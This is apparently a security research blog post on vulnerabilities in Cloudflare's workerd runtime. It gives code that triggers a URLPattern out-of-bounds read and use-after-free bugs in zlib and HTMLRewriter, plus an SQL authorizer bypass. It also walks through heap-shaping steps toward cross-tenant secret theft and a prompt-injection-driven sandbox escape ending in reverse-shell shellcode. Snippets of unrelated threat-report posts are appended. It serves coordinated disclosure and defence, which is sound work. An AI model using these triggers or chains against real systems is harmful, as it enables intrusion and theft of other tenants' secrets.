Cloudflare’s argument is that LLMs, trained on enormous amounts of real-world code, are simply better at writing a program against a typed API than at emitting long chains of synthetic tool calls. [4]

Figure 1 -

Figure 1 – Tool calling vs. Code Mode

That code has to run somewhere, and that “somewhere” is workerd, the runtime behind Cloudflare Workers.

2. The workerd origin story

To understand workerd, start with the product it was built for: Cloudflare Workers. Workers is Cloudflare’s serverless platform: you upload a piece of code and Cloudflare runs it at the edge, in data centers close to the user, on demand for every request. There’s no server to manage and, ideally, no cold machine to wait for.

That model creates a hard isolation problem. Cloudflare runs code from a huge number of different customers, and to keep latency and cost down it packs many of them onto the same machines, and, as we’ll see, into the same process. The classic answer (a container or VM per tenant) is far too heavy for this: each one adds tens to hundreds of milliseconds of cold start and a real memory footprint, which is exactly what an edge platform serving oceans of short requests cannot afford.

Cloudflare’s answer is to isolate at the language-runtime level rather than the OS level, using V8 isolates, the same primitive Chrome uses to separate browser tabs. An isolate is a lightweight, independent JavaScript context. Many can live inside a single process, each starts in single-digit milliseconds, and the isolate is the security boundary between tenants.

The trade-off is that this boundary is a software boundary inside one shared address space, not a hardware or kernel one. Untrusted code runs in-process, and the whole model rests on the isolate holding.

Figure 2 -

Figure 2 – Many tenants, one process

workerd is the runtime that implements all of this. It was closed-source for years: Workers launched in 2017, but Cloudflare only released workerd as open source in September 2022.[5] It’s exactly what Code Mode runs the model’s generated code on.

3. Why workerd was the obvious sandbox for Code Mode

Code Mode has to run untrusted, model-written code, and it needs that code to reach the declared MCP tools and nothing else. workerd answers both at once.

Running untrusted tenant code in-process is its day job, and it lets Code Mode lock the rest down: no filesystem, no arbitrary network (fetch() and connect() simply throw) with the tools exposed only through bindings.[6] Cloudflare didn’t build a new sandbox for Code Mode. It reused the one it already trusts to isolate millions of Workers.

4. Why we targeted workerd

When you set out to break Code Mode, the obvious place to look is the seam between Code Mode and workerd. This is the integration layer: how tools become bindings, how the configuration is wired, how the two interact. Going after the runtime itself is the unusual move. It’s a bit like setting out to break an AI coding assistant and then going to audit Docker’s own source code, the container runtime itself, not the agent on top of it.

Five reasons made us decide to do it anyway:

  1. An in-process sandbox is a bold, inherently risky bet. Isolating untrusted code without an OS-level boundary means no VM, no container, just a V8 isolate inside a shared process. That puts the entire security model on a single software boundary. That kind of ambitious bet is exactly what’s worth stress-testing.
  2. workerd had almost no public scrutiny.[7] Despite sitting directly on that boundary, there was barely any prior public vulnerability research on workerd, in stark contrast to V8, which is picked apart continuously.
  3. The attack surface is huge. And it’s not just V8. workerd has its own implementation that exposes many Web/Node APIs, each written in C++ and reachable from untrusted JavaScript.
  4. The blast radius reaches Cloudflare Workers. workerd isn’t only Code Mode’s runtime. It’s the engine behind Cloudflare Workers, one of the most widely deployed serverless platforms on the internet. A bug here would never have stayed contained to an experimental agent feature.
  5. AI security has a low-level side too. Beyond the high-level frameworks, the internal, low-level layers that agents rely on to interact with the world deserve research as well.

5. The cage, memory protection keys, and Node

V8 is one of the most heavily attacked pieces of software around, with a long history of memory bugs, so Cloudflare assumes it can break and layers defenses so a compromise of one isolate doesn’t reach the host or other tenants.

Defenses

1. The V8 sandbox (“the cage”). The cage confines JS-reachable objects so a corrupted one can’t forge pointers outside it. Assume arbitrary read/write inside the cage, and stop it reaching memory outside.

2. Memory protection keys. As a further layer against V8 vulnerabilities, production also tags isolate-group memory with hardware memory protection keys (MPK / pkeys), so even with arbitrary read/write inside one isolate’s V8, an attacker still can’t read another tenant’s pages.

3. The L2 process sandbox. Underneath both sits a second-layer (“L2”) process sandbox, so even native code execution inside the process is meant to be contained. Per Cloudflare, the V8 Workers run in a strict layer-2 sandbox (Linux namespaces plus seccomp) that blocks all filesystem and direct network access,[8] limiting what a compromised process can reach on the host.

Attack Surface

Node. Real-world JavaScript assumes Node.js exists, and code constantly reaches for node:* modules, so workerd reimplements a large slice of the Node API in C++. This is exposed to JS through JSG, its “JavaScript Glue” layer. Node was never designed for a threat model where the attacker writes the JavaScript, so this drops a great deal of extra native code onto the boundary, much of it workerd’s own, and enabled by default (a Worker can just require('node:crypto')).

It also means more native objects allocated on the tcmalloc heap, which is secured by neither the cage nor the memory protection keys.

6. Bottom Line

Putting all of the above together, we did exactly that. We targeted workerd’s JSG code, the “JavaScript Glue” that hands native C++ to untrusted JavaScript, whether it is a Node reimplementation or one of workerd’s own API implementations. It is the code that had a fraction of V8’s scrutiny (§4), and the native objects it allocates sit on the tcmalloc heap, memory that lives outside both the cage and the memory-protection keys (§5). So a bug there is not boxed in the way a V8 bug is. It is exactly the surface those mitigations do not cover.

By going after that code we found five vulnerabilities, all of them in workerd’s own native code, each covered in the Vulnerabilities section (Part II).

Building on those bugs, we developed two end-to-end exploits, covered in the Exploits section (Part III).

  1. Code Mode sandbox escape. Starting from a single prompt injection, the model is steered into writing attacker-controlled TypeScript. That TypeScript contains a memory-corruption which leads to native code execution, breaking out of Code Mode and running on the host, fully outside the V8 isolate.
  2. Cross-tenant secret leak. Starting from a malicious Worker you deploy into Cloudflare’s shared pool, we show that one tenant can read another tenant’s memory and leak its secrets straight out of the shared process. This is the production scenario, and it holds up there because the whole exploit runs from the tcmalloc heap, the memory the cage and MPK do not cover.

But to be explicit, we did not run the exploit on Cloudflare production ourselves. Both exploits were verified on the self-hosted version of workerd. The cross-tenant idea should work the same way on production, since it runs entirely from the tcmalloc heap that the mitigations do not cover, but we did not test it there. On a shared host, a memory-corruption exploit that crashes the process could take other tenants down with it, and we were not willing to risk that.

Part II – The vulnerabilities

7. URLPattern out-of-bounds read

URLPattern is a Web API for matching a URL against a pattern, essentially what a router does. You build a pattern such as new URLPattern({ pathname: "/users/:id" }), call .exec() on a URL, and read back the named capture groups ({ id: "…" }). workerd exposes it to Workers, and in our setting the pattern itself is attacker-controlled.

workerd actually ships two URLPattern implementations. The first is the original, workerd-native one (the urlpattern_original compatibility flag). The second is the newer standard one backed by the Ada URL-parser library. We found the same out-of-bounds read in both implementations, and it gives the same primitive.

7.1 Root cause

Under the hood, URLPattern turns your pattern into a regular expression. Matching a URL then produces two parallel lists: the matched values (one per capture group in the regex) and the group names.

A quick example of the benign case:

Figure 3 -

Figure 3 – URLPattern: pattern → result

URLPattern also lets you drop raw regex straight into a pattern, with named or unnamed groups. For example, /(\d+)/(?<slug>[a-z]+) has one unnamed group and one named group:

Figure 4 -

Figure 4 – URLPattern with named group

Here is the implementation. When you call .exec(), workerd runs the compiled regex against the URL and builds the groups object from the result. The original, workerd-native version does it like this:

// urlpattern.c++: building the groups object from a regex match
KJ_IF_SOME(array, regex.getHandle(js)(js, input)) {  // run regex vs URL
  uint32_t index = 1;                                // [0] is full match, skip
  uint32_t length = array.size();                    // 1 + capture count values
  kj::Vector<Groups::Field> fields(length - 1);

  while (index < length) {                           // each capture value
    auto value = array.get(js, index);
    fields.add(Groups::Field{
      .name = kj::str(nameList[index - 1]),           // name by position
      .value = value.isUndefined() ? kj::String() : kj::str(value),
    });
    index++;
  }
  // ...
}

For each capture group, the loop builds one { name, value } field. The value is what the regex matched in the URL. The name is the group’s name (like id from earlier), taken from the nameList vector.

The two sides of that pairing come from completely different places, and that is the part to hold onto:

  • length comes from V8. It’s the size of the match array V8 returns after running the compiled regex, i.e. how many capture groups the regex actually produced.
  • nameList comes from URLPattern’s own implementation. It’s the list of names workerd assembled while parsing the pattern, before the regex ever ran.
Figure 5 -

Figure 5 – The group-count mismatch

The loop lines them up position by position, on the assumption that the two counts agree.

So the whole thing rests on those two counts staying equal, and they don’t always. When URLPattern parses the pattern to build nameList, its own group counting misses a group nested inside another group. V8, compiling the real regex, counts every group, nested ones included. So a pattern with one group nested inside another, like (ab(cde)), gives V8 two capture groups where URLPattern counted only one, and length ends up larger than nameList:

const pattern = new URLPattern({ pathname: "/(ab(cde))" });
pattern.exec({ pathname: "/abcde" });   // V8: 2 groups, nameList: 1 name → OOB

Now the loop runs one step too far. For that extra value, index - 1 points past the end of nameList, and kj::str(nameList[index - 1]) reads from beyond the vector, an out-of-bounds read. That is the bug.

7.2 Why an OOB read is an arbitrary read

nameList is a kj::Vector<kj::String>. A kj::String is 24 bytes:

Figure 6 -

Figure 6 – kj::String memory layout

The OOB index makes kj::str() read 24 bytes of whatever follows the vector and treat it as a kj::String, then dereference ptr to copy out the “string.” So if we control the memory after nameList, we control ptr, and the returned JS string is the bytes at an address of our choosing. OOB read → arbitrary read.

7.3 Two notes

  • The same bug is in both implementations, and the Ada one reaches production. The standard, Ada-backed URLPattern makes the identical counting mistake, with the same out-of-bounds read. We confirmed the Ada version triggers on Cloudflare production, and reported it to the Ada maintainers in parallel.
  • Our full end-to-end exploit was on the original implementation, self-hosted. Turning the read into a working cross-tenant secret leak was demonstrated against urlpattern_original on self-hosted workerd. That exact path did not reproduce on production, because production has a check the open-source build lacked.

8. zlib deflateParams() UAF

zlib is the most common compression library around. Node.js ships it as the built-in node:zlib module, and to stay Node-compatible workerd reimplemented it in C++. It exposes a handful of APIs. The basic ones compress and decompress via GzipDeflate/Inflate, and Brotli. In workerd it comes with the nodejs_compat flag (compatibility date 2024-09-23 or later).

8.1 Dangling buffers

Let’s look at a basic use of zlib. You call write() with an input buffer and an output buffer, and zlib compresses the input into the output.

const input  = Buffer.from("hello world");
const output = Buffer.alloc(64);
handle.write(input, output);   // compress input → output

Those three lines already span three distinct layers:

  1. JavaScript (V8): creates the input and output buffers.
  2. workerd’s glue code: the translation layer between JavaScript and native C++, turning those buffers into the raw pointers and lengths the C library expects.
  3. zlib: the C compression library that does the actual work.

The buffer to watch is output. As it moves, its pointer is passed between all three layers, handled differently in each. So let’s take it one layer at a time, starting on the JavaScript side.

On the JavaScript side, output is reference-counted: it stays alive as long as at least one reference points at it. Follow that count through a single write():

  • const output = Buffer.alloc(64). The JS variable holds it: refcount 1.
  • handle.write(input, output, …). As the buffer crosses into native code, workerd takes a reference of its own for the duration of the call: refcount 2. That extra reference is what guarantees the buffer can’t be freed while zlib is mid-compression.
  • write() returns, and workerd drops its reference again: back to refcount 1, held by the JS variable.
  • nothing holds output anymore (it goes out of scope, or is reassigned), so the last reference is gone: refcount 0.
Figure 7 -

Figure 7 – output refcount lifecycle

Now follow the same buffer into the native side. To hand output to zlib, workerd fills in a z_stream(zlib’s state struct), copying the buffer’s raw address into its next_out field, the pointer zlib writes its compressed output through. That copy happens in setBuffers, on every write():

// zlib-util.c++
void ZlibContext::setBuffers(kj::ArrayPtr<kj::byte> input, kj::ArrayPtr<kj::byte> output) {
  stream.avail_in  = input.size();
  stream.next_in   = input.begin();    // raw pointer into the JS input buffer
  stream.avail_out = output.size();
  stream.next_out  = output.begin();   // raw pointer into the JS output buffer
}

And write() forgets to clear them. When it returns, it resets nothing in the z_streamnext_out still holds the raw address of output. Clearing it is workerd’s job, and the write path simply doesn’t.

The same sequence, now with stream.next_out shown alongside:

Figure 8 -

Figure 8 – next_out left dangling

Nothing ever clears next_out after setBuffers sets it. So once output’s refcount reaches 0, the buffer becomes garbage, and the next garbage-collection event reclaims its memory, leaving next_out pointing into freed memory.

8.2 The Use in Use-After-Free

We now have a dangling next_out, and the next step is to find who writes through it.

We started in workerd’s own code, but next_out is zlib’s field, and it is zlib, not workerd, that writes output through it. So the real question is where, inside the zlib library, next_out gets written.

The obvious place is an ordinary compression step: deflate() (and inflate()), the functions that push output through next_out. But in workerd that path is only ever reached through write(), and write() runs setBuffers first, resetting next_out to a fresh buffer before deflate() runs. The stale pointer is overwritten before it is ever used. No good.

What we found instead is deflateParams, reached from handle.params(), the call that adjusts the compression parameters, like the level (how hard zlib compresses). It touches the same z_stream and, crucially, does not reset next_out first:

// zlib-util.c++ — ZlibContext::setParams(), reached from handle.params()
err = deflateParams(&stream, _level, _strategy);

That hands zlib the same z_stream, still carrying the stale next_out from the last write(). And rather than clearing next_in/next_outdeflateParams flushes whatever output zlib still has buffered before it applies the new settings:

// zlib - deflate.c, deflateParams() (trimmed)
func = configuration_table[s->level].func;
if ((strategy != s->strategy || func != configuration_table[level].func)
        && /* there is data still pending */) {
    /* flush the last buffer */
    deflate(strm, Z_BLOCK);   // flush pending output through strm->next_out
}
s->level    = level;          // new config applied only after the flush
s->strategy = strategy;

If the level or strategy changes and data is still pending, zlib calls deflate() to flush it before updating the config, and that deflate() writes through strm->next_out, the dangling pointer.

But there is still a problem. When we called write(), zlib already compressed the data we handed it, so how are we supposed to have any bytes still pending for deflateParams to flush?

8.3 Z_NO_FLUSH

Each zlib write takes a flush mode controlling how eagerly output is emitted. Passing Z_NO_FLUSH tells zlib to hold compressed output in its internal buffer rather than push it all out through next_out, so the write() returns with data still pending. That pending data is exactly what deflateParams flushes.

8.4 Putting everything together

The whole use-after-free is a handful of JavaScript calls. Tracking outBuf’s refcount and next_out across the full cycle, the same way we did on the JavaScript side:

Figure 9 -

Figure 9 – The zlib use-after-free

9. HTMLRewriter AttributesIterator UAF

HTMLRewriter is a Workers API for transforming HTML as it streams through. A Worker can rewrite tags, attributes, and text on the fly without buffering the whole document. workerd exposes it on top of lol-html, Cloudflare’s Rust streaming HTML rewriter, through a layer of C++ bindings.

The bug is in those bindings, not in lol-html. When you ask an element for an attributes iterator, the C++ binding grabs a raw pointer into the element’s internal attribute array and reads through it on each next(). Adding attributes with setAttribute grows that array, and once it outgrows its capacity the array reallocates to a new location and the old one is freed, but the iterator is still pointing at the old, now-freed array. The next next() reads from that freed memory:

new HTMLRewriter().on('div', {
  element(el) {
    const iter = el.attributes[Symbol.iterator](); // pointer into backing array
    iter.next();                                   // reads backing array
    for (let i = 0; i < 10000; i++)                // grow attributes...
      el.setAttribute(`x${i}`, 'A'.repeat(100));   // ...until it reallocates

    const leaked = iter.next().value;              // iter → freed array: UAF
  }
});

10. KV SQL bypass → arbitrary deserialization

The other four bugs are memory-corruption. This one is a classic that leads to arbitrary deserialization.

10.1 Durable Objects

Workers are stateless. Each request runs in a fresh, short-lived context, and nothing held in memory survives to the next one. Durable Objects are Cloudflare’s answer to that: a Durable Object is a single, uniquely-addressable instance that stays alive and keeps its state across requests, both in memory and in private, strongly-consistent storage. It’s how you hold persistent, coordinated state on the edge: a chat room, a live document, a counter.

That storage has a newer SQLite backend, and a Worker can reach the same database in two ways:

  1. the key/value API (storage.get / put), which stores each value serialized with the structured-clone algorithm, and
  2. the SQL API (storage.sql.exec), which runs raw SQL against the same database.

The key/value data lives in a reserved SQLite table, _cf_KV, and reading a value back deserializes its bytes with V8’s structured-clone deserializer, including workerd’s handlers for internal types.

10.2 The authorizer bypass

A SQL authorizer guards those internal tables. It rejects any query that touches a _cf_-prefixed table: CREATESELECTINSERTUPDATEDROP, all of it. But we found one operation it forgot to check.

The authorizer validates the tables a query references, but not the destination name of a rename. So while every direct query against _cf_KV is rejected, nothing stops you from creating an ordinary table under an allowed name and then renaming it with ALTER TABLE … RENAME TO _cf_KV. You build the table under a name the authorizer permits, fill it with crafted bytes, and rename it into place:

CREATE TABLE kv_tmp (key TEXT, value BLOB);          -- allowed
INSERT INTO kv_tmp VALUES ('k', <attacker bytes>);   -- crafted payload
ALTER TABLE kv_tmp RENAME TO _cf_KV;                 -- not checked → now KV

A later key/value read (storage.get('k')) then feeds those attacker-controlled bytes straight into workerd’s internal deserializers, exactly the untrusted input they were never meant to handle.

We didn’t continue from here. The point is the attack surface. A malicious Worker can control the bytes fed to V8’s deserializer, which will deserialize any object it supports, including workerd’s own internal types. And while we stopped there, the surface is worth stressing: that deserializer was built for trusted, in-process data, and unlike V8’s parser and JIT, it isn’t fuzzed for hostile input. That makes it a very strong attack surface, and a well-worn path to type confusion and memory corruption.

Part III – The full chain and its impact

11. Cross-tenant secret theft (Workers)

Cloudflare Workers run the same workerd and the same many-tenants-one-process model from §2. Different customers’ Workers run as separate V8 isolates inside one OS process, sharing one address space and one native (tcmalloc) heap. The isolate is the only wall between them, and that wall is in V8, not on the native heap.

Figure 11 -

Figure 10 – Cross-tenant OOB read

So the URLPattern read from §7 isn’t just a crash, it’s a way for a Worker you deploy to read another tenant’s memory out of that shared heap. Here is how that out-of-bounds read becomes a private key read from a different Worker. Everything below operates on the tcmalloc heap, outside the cage and the memory-protection keys (§5).

11.1 The strategy

Recall the primitive from §7. The read goes one entry past the end of nameList, treats those 24 bytes as a kj::String { ptr, size, disposer }, and returns the bytes at ptr. So if we control whatever sits right after nameList, we control that fake kj::String, and reading one attacker-chosen kj::String is reading any address we point it at:

Figure 12 -

Figure 11 – Fake kj::String read primitive

That is the basic primitive. What we actually want is to sweep another tenant’s memory for secrets, to read anywhere in the process, and to do it with as little heap spraying as possible. To get there we need three things:

  1. Break ASLR. Leak a real heap address, so we know where to read.
  2. Control the ptr of the fake kj::String. So we can read the bytes at any address we choose.
  3. Make it repeatable. Read one address after another without re-shaping the heap each time.

11.2 Sizing nameList

One lever first, because it makes the rest easier. nameList’s size is ours to choose. Its length is just the number of capture groups the pattern declares, so padding the pattern with extra groups grows the kj::Vector<kj::String> to whatever size we want. tcmalloc places allocations by size class, so choosing nameList’s size chooses the neighborhood it lands in, and picking the size class is what makes landing our own allocations right next to it reliable.

11.3 Defeating ASLR

A read is only useful once we know where to aim it, and ASLR hides that. To beat it we just need to leak any one real heap address. The out-of-bounds read already returns whatever the fake kj::String’s ptr points at, so if we arrange for ptr to point at a location that itself holds a heap pointer, the read hands that pointer’s bytes back to us as a string:

Figure 13 -

Figure 12 – Leaking a heap pointer

So we need an object right after nameList with two things:

  1. ptr (first 8 bytes), points at a heap pointer, so dereferencing it leaks a heap address.
  2. size (next 8 bytes), a small, valid length: not zero, not a pointer, just short enough that the read returns a sane string.

We didn’t find a real object whose layout already satisfies both, so as a last resort we turned to the tcmalloc free list, and it has two properties that fit perfectly:

  1. The first 8 bytes of a freed chunk are the next pointer (to the next free chunk), which is requirement #1.
  2. The rest of the chunk, including bytes 8–15, is left untouched by the free, so a size we wrote there earlier stays put. That is requirement #2.

So what we can do is allocate a chunk right after nameList, write size = 8 into its bytes 8–15, and free it. The free turns its first 8 bytes into a next pointer to the next free chunk, while our size = 8 survives:

Figure 14 -

Figure 13 – Freelist next-pointer overwrite

The read hands back that heap pointer as bytes. Since tcmalloc aligns its heap to a 1 GB boundary, one leaked pointer gives us the heap base.

11.4 A repeatable read with VFS files

ASLR gives us an address. Now we want to read many, to sweep the heap. The problem is doing that without re-shaping every time. If reading a new address meant a fresh allocation, we’d have to land it next to nameList again on each read. What we need instead is an allocation we can keep in place and change in-place, so we just rewrite the target pointer and read again.

The best fit we found is a workerd API called VFS, a virtual (memory-only) filesystem. A VFS file’s contents are a native kj::heapArray on the tcmalloc heap, and crucially we can overwrite those contents at will without reallocating. It also lets us pick the file’s size, so we match nameList’s size class and a sprayed file lands right after it.

The idea is to shape the heap once so a VFS file lands right after nameList, then read any address by rewriting that file’s bytes in place and calling exec() again, with no re-shaping per read:

Figure 15 -

Figure 14 – Repeatable read via VFS

(This works because nameList is allocated when the URLPattern is constructed, but the out-of-bounds read only fires later on exec(), so the shaped layout persists across reads.)

11.5 Reading another Worker’s secret

From here it’s just a sweep. We walk the heap with the repeatable read and look for bytes that look like a secret, in the PoC, Bearer sk…-style API tokens, until we find one belonging to a co-located Worker.

12. Sandbox escape: from the zlib UAF to host RCE

The second demo stays inside Code Mode and goes all the way to native code on the host, starting from the zlib use-after-free of §8.

12.1 Improving the primitive

Recall what §8 gives us, broken into the pieces we’ll build on:

  • A use-after-free write. When params() flushes, zlib writes through the stale next_out into the output buffer, after that buffer has been freed and its slot can be reused.
  • A controllable allocation size. We choose the size of the output buffer, which decides which freed slot the write targets and what we can spray into it.

Our primitive, then:

Figure 16 -

Figure 15 – Reusing the freed buffer

And the write isn’t clean. The first 5 bytes of every flush are compression metadata.

Two improvements make it precise:

1. The offset of the write. workerd’s write() lets us choose where in the output buffer zlib starts writing. Alongside the buffer it takes an output offset, and zlib sets next_out = buffer + offset, so the write lands at freed + offset, a precise spot inside the reused object instead of always at its start.

2. The size of the write. We also keep the flush small, down to a single 8-byte field, so the write overwrites exactly the field we’re aiming at, rather than splattering the whole object around it.

Together that turns a blunt write at the top of the buffer into a small write landing exactly on a field we pick:

Figure 17 -

Figure 16 – Flush at chosen offset

12.2 From use-after-free to repeatable read/write

You might still be wondering how an imprecise write is exploitable at all. We control where it lands, but not the bytes. The trick with this kind of primitive is to stop caring about the bytes. Instead of writing a value, you find a “strong” object and overwrite its size / length field. You don’t need the exact bytes, you just need to make that length bigger. A bloated length turns the object’s own bounded read/write into an out-of-bounds read/write, and that you can build on.

The strong object we use is, again, a VFS file, but this time we corrupt the file’s metadata (the FileImpl object that tracks where the file’s data lives and how long it is), not the file’s contents:

Figure 18 -

Figure 17 – FileImpl metadata layout

With a FileImpl in the freed slot, we aim the UAF write at offset 0x20 so it lands on data.size and inflates the length.

Why does a bigger data.size matter? The file’s data lives at data.ptr, and data.size is the length workerd treats as its bounds, any read or write through the file API is allowed as long as it stays within [0, data.size) of data.ptr. Normally data.size matches the real buffer, so the file stays in bounds. After we inflate it, that bound now covers the real buffer and whatever heap follows it, so a file read or write past the real buffer still passes workerd’s bounds check and is carried out normally, even though it now reaches into adjacent memory:

Figure 19 -

Figure 18 – Inflating data.size out-of-bounds

And the file API makes that precise. Node’s fs read/write take a position argument (the file offset to read or write at, passed straight to the call, no separate seek), plus a length, so we can land exactly on any spot at data.ptr + position. To read 8 bytes from an out-of-bounds offset:

Figure 20 -

Figure 19 – OOB read via readSync

And to write 8 bytes at an out-of-bounds offset. Here the bytes are ours, it’s an ordinary file write:

Figure 21 -

Figure 20 – OOB write via writeSync

So one inflated length turns the VFS file into an out-of-bounds read and write at any offset across the heap.

12.3 Arbitrary read/write

OOB across adjacent heap is strong, but it only reaches forward from one buffer and the exact distances depend on the layout. We upgrade it to a clean, anywhere-in-the-process read/write with a second FileImpl.

The idea is to use the OOB write from the inflated file to reach a second FileImpl sitting further along the heap, and overwrite its data.ptr with any address we want. That second file’s metadata now says “your contents live at <address>”, so an ordinary read or write of the second file reads or writes that address:

Figure 22 -

Figure 21 – Arbitrary read/write primitive

And it’s repeatable. To hit a new address we just rewrite the second file’s data.ptr through the first file again and read/write once more, with no re-triggering the bug. That gives us a stable arbitrary 64-bit read and write across the whole process, the same shape of primitive we built for the cross-tenant read in §11.

12.4 To native code

On the self-hosted build the V8 sandbox is off, which makes the finish almost trivial. Normally turning a memory read/write into code execution means defeating W^X with a ROP chain and chasing per-version gadget offsets. Here we don’t have to. With the sandbox off, workerd reserves V8’s code region as a 256 MB read-write-execute (RWX) mapping at a fixed address, 0xaaaaf0000000, present from process startup, no leak required. So we skip ROP entirely.

The finish is simple. Use the arbitrary write to drop ARM64 shellcode (a reverse shell) into that RWX region, then redirect a function pointer to it. The pointer we hijack belongs to the zlib stream itself, the native write callback that handle.write() invokes (reached through the z_stream, which we locate via its avail_in field). We overwrite that callback’s target with our shellcode address and then call handle.write() once more. Instead of running zlib’s write path, control jumps to the shellcode, native code in the host process, out of the V8 isolate entirely.

Cage-off caveat. This chain was built against a self-hosted workerd compiled with the V8 sandbox off, which lets ArrayBuffer backing stores and native C++ objects share one heap, exactly what the FileImpl overlap relies on (and how Code Mode runs, §5). The underlying UAF is independent of the cage, but with the cage on this specific FileImpl technique would not work as-is. Reaching RCE there would need a different post-UAF path.

Part IV – Takeaways and disclosure

13. Defensive takeaways

  • The engine is not the whole boundary. Hardening V8 and shipping the cage is necessary, not sufficient. Every native API reachable from untrusted JS is part of the boundary.
  • Glue layers deserve first-class security review. JSG marshals lifetimes and pointers across the JS/native seam. That’s exactly where UAFs and missing bounds checks live. It had a fraction of V8’s scrutiny.
  • Native allocations need their own threat model. tcmalloc free-list behavior, VFS buffers, and kj containers live outside the cage. If the cage is your isolation story, the things it doesn’t cover are your attack surface.
  • Agent-generated code is normal code. In Code Mode the model writing exploit-shaped TypeScript isn’t an exceptional event, it’s the intended mode of operation. Prompt injection is a code-execution entry point, and should be modeled as one.

Disclosure timeline

All five vulnerabilities were reported to Cloudflare through HackerOne under coordinated disclosure.

DateEvent
February 1, 20264 of the 5 vulnerabilities reported via HackerOne (zlib UAF, HTMLRewriter UAF, both URLPattern OOB reads)
March 11, 2026Cloudflare rated two of them Critical (zlib UAF, HTMLRewriter UAF)
March 12, 2026The 5th, the KV SQL-bypass → deserialization, reported
Aug 5–6, 2026Public reveal at Black Hat USA 2026 (Mandalay Bay)

Cloudflare’s responses and confirmations:

  • Two rated Critical. Cloudflare rated the zlib use-after-free and the HTMLRewriter use-after-free as Critical.
  • Production reach. Cloudflare confirmed that the bugs reproduce on Cloudflare production, with one exception. The original URLPattern out-of-bounds read (urlpattern_original) does not trigger there (the Ada-backed standard URLPattern does).
  • The cage doesn’t cover the heap we used. Cloudflare confirmed our central claim, that the tcmalloc native heap is outside both the V8 sandbox (cage) and the memory-protection keys. Exactly the memory every primitive in this post operates on.
  • Fix. Cloudflare’s managed Workers were fixed in production, and workerd v1.20260619.1 closes all of these bugs for self-hosted deployments. As of now, Cloudflare has not assigned CVEs.

Links

  1. Cloudflare Q1 2026 earnings call (May 7, 2026), “Developers on Cloudflare’s platform increased to more than 5.5 million…”: https://www.theglobeandmail.com/investing/markets/stocks/NET/pressreleases/1904486/cloudflare-q1-earnings-call-highlights/
  2. “go from no traffic at all to millions of requests per second instantly”: https://blog.cloudflare.com/workerd-open-source-workers-runtime/
  3. “More than 10% of all requests flowing through our network today use Cloudflare Workers”: https://blog.cloudflare.com/cloudflare-workers-serverless-week/
  4. “LLMs are better at writing code to call MCP, than at calling MCP directly” : https://blog.cloudflare.com/code-mode/
  5. “workerd is Open Source under the Apache License version 2.0” (post dated 2022-09-27) : https://blog.cloudflare.com/workerd-open-source-workers-runtime/
  6. “we prohibit the sandboxed worker from talking to the Internet. The global fetch() and connect() functions throw errors” : https://blog.cloudflare.com/code-mode/
  7. only two published security advisories, both Moderate : https://github.com/cloudflare/workerd/security/advisories
  8. “The ‘layer 2’ sandbox uses Linux namespaces and seccomp to prohibit all access to the filesystem and network” : https://blog.cloudflare.com/mitigating-spectre-and-other-security-threats-the-cloudflare-workers-security-model/
  9. no public link, Cloudflare coordinated-disclosure correspondence. Cloudflare confirmed there are no MPK protection keys on the tcmalloc allocations.

The post When Agentic Glue Melts: Exploiting Cloudflare Code Mode and Workers appeared first on Check Point Research.

AI Security Report 2026

For years, the cyber security industry tracked AI as a force multiplier: something that made existing attack techniques faster, cheaper, and more accessible. That framing was accurate. But the Annual AI Security Report 2026 from Check Point Research documents a transition that goes further. AI has crossed from assistant to operator. Where it once helped attackers prepare, it now runs the operation.

Key observed findings

  • AI has crossed from development aid to live attack operator. It now does the hands-on work inside live intrusions, from China-nexus espionage campaigns to a criminal breach of multiple Mexican government agencies and has spread from nation states to ordinary cyber criminals. 
  • AI now builds deployment-ready malware and attack suites. Its involvement is often invisible in the finished artifact: one developer used an AI environment to produce VoidLink, an 88,000-line command-and-control offensive framework, in under a week. 
  • Attackers prefer commercial models, and now abuse them by exploiting the agentic architecture, not just single prompts. Most actors favor jailbroken mainstream models over self-hosted ones, and the durable bypass is now a planted configuration file an agent loads and trusts across sessions. 
  • An AI-enabled criminal tooling market has matured. Phishing-as-a-service kits now embed a language model with the jailbreak built in, and conversational AI voice-agent services run vishing and one-time-passcode theft at scale.
  • Virtual Identity is no longer a reliable trust anchor. Voice, face, documents, and live video are now cheap to forge convincingly and are widely used in attacks taking multi-channel social engineering to a new level of integration. 
  • AI itself is an expanding attack surface. Models cannot always separate data from instructions and content they process might influence the model’s behavior; the surrounding stack adds ordinary software vulnerabilities and supply-chain risk, all in a rapidly evolving ecosystem where security practices not always mature. 
  • Indirect prompt injection is on the rise. Detections of longer malicious payloads increased sharply, rising roughly fivefold between March and May 2026 and approaching 1% of observed prompts in May. Longer payloads are more typical of content-borne and agentic attack paths, this pattern suggests that indirect prompt injection is becoming more operationally relevant. 
  • Enterprise data leakage through GenAI is persistent and growing risk. High-risk prompts doubled from 2% to 4% during the last year, while organizations used an average of 10 AI applications each month, many without official approval. 
  • Data exposure risks are not evenly distributed across the verticals. Sector-level analysis reveals that AI-related data exposure risks are not evenly distributed across the verticals, and correlate both with AI usage patterns and security maturity. Business Services recorded the highest rate of high-risk GenAI prompts at 5.91%, meaning nearly one in every 17 AI interactions carried a significant risk of sensitive data exposure. 

To read the full findings, access the AI Security Report 2026 from Check Point Research here.

The post AI Security Report 2026 appeared first on Check Point Research.

Cavern Manticore: Exposing Iran-Linked Modular C2 Framework

Note: SysAid was not compromised, and no SysAid vulnerability was involved. The attacker had already gained access to the victim environment and abused a legitimate software-deployment feature to deploy malware onto another machine within it.


Key Points

  • Check Point Research (CPR) tracks ‘Cavern Manticore’ as an Iran-nexus threat actor operating against Israeli targets, with a focus on the government and IT sectors.
  • Cavern Manticore shares technical overlaps with other Iranian MOIS (Ministry of Intelligence and Security)-linked threat actors, including MuddyWater and Lyceum.
  • CPR observed a modular C2 framework in the wild, with all samples built on top of .NET but compiled into different output formats. These components are used as Cavern agent and Cavern modules.
  • The framework’s anti-analysis posture relies on uncommon .NET compilation formats (Mixed-Mode C++/CLI and Native AOT) that force reverse engineers into multiple toolsets and metadata-reconstruction workflows, together with per-module AppDomain isolation as an anti-forensics measure.
  • In malware-engine coverage, the majority of observed samples score zero or very low detection rates on VirusTotal.
  • Post-exploitation modules provide the threat actor with extended capabilities, including file system and database browsing, LDAP querying, network reconnaissance, and tunneling.
  • In multiple observed intrusions, the initial foothold was achieved through abuse of existing Remote Monitoring and Management (RMM) software deployed in the targeted organization.

Introduction

